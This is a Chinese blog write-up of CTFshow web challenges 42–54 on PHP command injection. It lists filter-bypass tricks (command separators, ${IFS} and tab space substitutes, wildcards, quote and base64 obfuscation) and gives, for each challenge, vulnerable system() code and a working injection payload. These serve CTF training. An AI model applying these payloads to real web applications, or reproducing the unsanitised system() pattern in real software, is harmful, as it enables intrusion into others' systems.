关于CTFshow中Web入门4254

0x00前记

​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的坑,很感谢各位师傅帮我填坑!!!

0x01命令执行

​ 题目的考点主要都是命令执行+命令分隔,与ping的那种题目类似,不过这里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不进行回显的意思,那就分隔命令,将命令分开,使得后面的命令失去相应的作用。

分隔命令

;	//分号应该是最好理解的
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行,不知道是不是自己姿势不对,没成功,下面也是一样
&&	//两条命令都会执行

空格绕过

<
<>	//需要写的权限
${IFS}
$IFS$9
%20
%09
%3c
A=$'cat\x20flag'&&$A
A=$'cat\x09flag'&&$A

黑名单

//一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
通配符
*	//匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
?	//匹配单个任意字符

空字符
$@	//ca$@t flag
$1-$9	//ca$1t flag
${数字}  //ca${1}t flag

编码绕过
echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash	//解码为cat flag.php并执行
echo "cat flag.php"|base64	//最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令

变量替换
a=t;b=g;ca$a fla$b.php

引号
ca''t fl''ag.php

反斜杆
ca\t f\la\g.php

Linux查看文件命令

cat		//cat flag.php
tac		//tac flag.php
head	//head flag.php
tail	//tail flag.php
nl		//nl flag.php
more	//more flag.php
less	//less flag.php
od		//od flag.php
grep	//grep 'fla' flag.php
strings	//strings flag.php
sort	//sort flag.php

0x02题目解析

以下题目均来自:CTFshow

感谢大师傅给我们出了这些有趣有意思的题目,开心

Web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

//这题没有任何的过滤,只有一个不回显的命令,命令分隔一下即可
Payload:?c=cat flag.php;

Web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//这题开始增加了黑名单了,过滤了分号-->可以用||绕过;cat则可以换一种查看文件的命令,或者使用引号等方式绕过
Payload:?c=tac flag.php||

Web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//对此开始过滤flag关键词了,这里可以用单引号、通配符等方法绕过
Payload:?c=tac fla*||

Web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//这里开始过滤空格了,利用上面讲到的空格绕过即可
Payload:?c=tac%09fla?????||

Web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//这里过滤了数字推测可能是限制使用编码绕过,过滤了$可以限制比较多,以及通配符*,但是还有?
Payload:?c=tac%09fla??php||

Web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//新添加了一些查看文件的命令进黑名单,但是tac还是可以用的
Payload:?c=tac%09fla??php||

Web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//继续新增黑名单的内容,但是tac还是没过滤,开心
Payload:?c=tac%09fla??php||

Web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

Payload:?c=tac%09fla??php||

Web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

//这里过滤了%和09,不能用原来的payload,不过换种空格绕过方式即可,这里有个坑就是<>和?一起使用时没有回显,所以这里用了单引号绕过
Payload:?c=tac<>fla%27%27g.php||

后面几题其实都是差不多的,这里不多赘述了。

Web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

//因为这里加了匹配的内容,不能使用空字符绕过了,好不容易找到了grep命令,好用!!!因为flag被过滤了,所以对于关键字这里只用了'fla'
Payload:?c=grep${IFS}'fla'${IFS}fla??php
原文地址:https://www.cnblogs.com/erR0Ratao/p/13640600.html